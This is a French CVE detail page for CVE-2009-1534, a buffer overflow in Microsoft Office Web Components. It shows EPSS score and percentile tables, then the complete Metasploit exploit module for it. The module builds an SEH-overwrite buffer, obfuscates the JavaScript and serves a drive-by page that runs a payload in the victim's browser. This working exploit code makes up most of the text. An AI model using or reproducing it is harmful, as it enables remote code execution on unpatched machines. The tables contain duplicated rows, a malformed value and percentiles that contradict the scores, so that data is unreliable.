CVE-2009-1534 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	87.96%	–	–
2022-07-17	–	–	73.87%	–	–
2022-07-24	–	–	87.96%	–	–
2023-03-12	–	–	–	95.98%	–
2023-04-09	–	–	–	95.28%	–
2023-05-21	–	–	–	95.23%	–
2023-07-02	–	–	–	94.89%	–
2023-08-20	–	–	–	95.62%	–
2023-10-01	–	–	–	95.39%	–
2023-11-19	–	–	–	96.01%	–
2023-12-31	–	–	–	96.17%	–
2024-02-11	–	–	–	95.95%	–
2024-03-24	–	–	–	95.73%	–
2024-06-02	–	–	–	95.73%	–
2024-06-16	–	–	–	94.58%	–
2024-07-21	–	–	–	94.83%	–
2024-08-25	–	–	–	95.12%	–
2024-10-06	–	–	–	95.21%	–
2024-11-10	–	–	–	95.37%	–
2024-12-15	–	–	–	95.63%	–
2024-12-22	–	–	–	96.25%	–
2025-01-19	–	–	–	96.2%	–
2025-02-23	–	–	–	96.37%	–
2025-01-19	–	–	–	96.2%	–
2025-02-23	–	–	–	96.37%	–
2025-03-18	–	–	–	–	75.43%
2025-03-18	–	–	–	–	75.43,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	1%
2022-07-17	99%
2022-07-24	1%
2023-03-12	99%
2023-04-09	99%
2023-05-21	99%
2023-07-02	99%
2023-08-20	99%
2023-10-01	99%
2023-11-19	99%
2023-12-31	99%
2024-02-11	99%
2024-03-24	99%
2024-06-02	99%
2024-06-16	99%
2024-07-21	99%
2024-08-25	99%
2024-10-06	99%
2024-11-10	99%
2024-12-15	99%
2024-12-22	1%
2025-01-19	1%
2025-02-23	1%
2025-01-19	1%
2025-02-23	1%
2025-03-18	99%
2025-03-18	99%

## # $Id: ms09_043_owc_htmlurl.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Microsoft's Office Web Components. When passing an overly long string as the "HTMLURL" parameter an attacker can execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2009-1534' ], [ 'OSVDB', '56916' ], [ 'BID', '35992' ], [ 'MSB', 'MS09-043' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\xf0", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # 'ProgId' => "OWC.Spreadsheet.9" # 'ClassId' => "0002E512-0000-0000-C000-000000000046", [ 'Windows XP SP3 - IE6 - Office XP SP0', { 'ClassId' => "0002E510-0000-0000-C000-000000000046", 'Offset' => 31337, 'Ret' => 0x42424242 # p/p/r in msohev.dll ?? } ], [ 'Windows XP SP3 - IE6 - Office XP SP3', { 'ClassId' => "0002E511-0000-0000-C000-000000000046", 'Offset' => ((4096*7) + 1076), 'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0 } ] ], 'DisclosureDate' => 'Aug 11 2009', 'DefaultTarget' => 1)) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ], self.class) end def autofilter false end def check_dependencies use_zlib end def big_alnum(num) divisor = 2048 + rand(2048) pad_pages = num / divisor pad_left = num % divisor ret = '' ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages ret << rand_text_alphanumeric(pad_left) if pad_left ret end def on_request_uri(cli, request) =begin # Only respond to any client twice... if (@sent[cli.peerhost] > 1) send_not_found(cli) return end @sent[cli.peerhost] += 1 =end # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # ActiveX parameter(s) clsid = target['ClassId'] # Exploitation parameter(s) seh_offset = target['Offset'] # Build the buffer. string = big_alnum(seh_offset) string << generate_seh_record(target.ret) string << payload.encoded string << big_alnum(40960 - string.length) string = Rex::Text.to_unescape(string) # Randomize the object and function names objid = rand_text_alpha(8+rand(8)) fnname = rand_text_alpha(8+rand(8)) # Build the final JavaScript js = %Q| function #{fnname}() { var ver1 = -1; var ver3 = -1; try { ver3 = #{objid}.Version.split('.')[3]; ver3 = parseInt(ver3); ver1 = #{objid}.Version.split('.')[0]; ver1 = parseInt(ver1); } catch (e) { } if (ver1 == 9 && ver3 <= 8966) { history.go(0); #{objid}.HTMLURL = unescape('#{string}'); } } | # Obfuscate the javascript opts = { 'Strings' => false, # way too slow to obfuscate this monster 'Symbols' => { 'Variables' => %w{ long ver1 ver3 }, } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.obfuscate() #<body onload="history.go(0); #{fnname}()"> # Build the final HTML content = %Q|<html> <head> <script language=javascript> #{js} </script> </head> <body onload="#{fnname}()"> <object classid="clsid:#{clsid}" id="#{objid}"> </object> </body> </html> | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content, { # The vuln requires that this be the same on both requests. 'Last-Modified' => 'Tue, 11 Aug 2009 07:13:49 GMT', }) # Handle the payload handler(cli) end end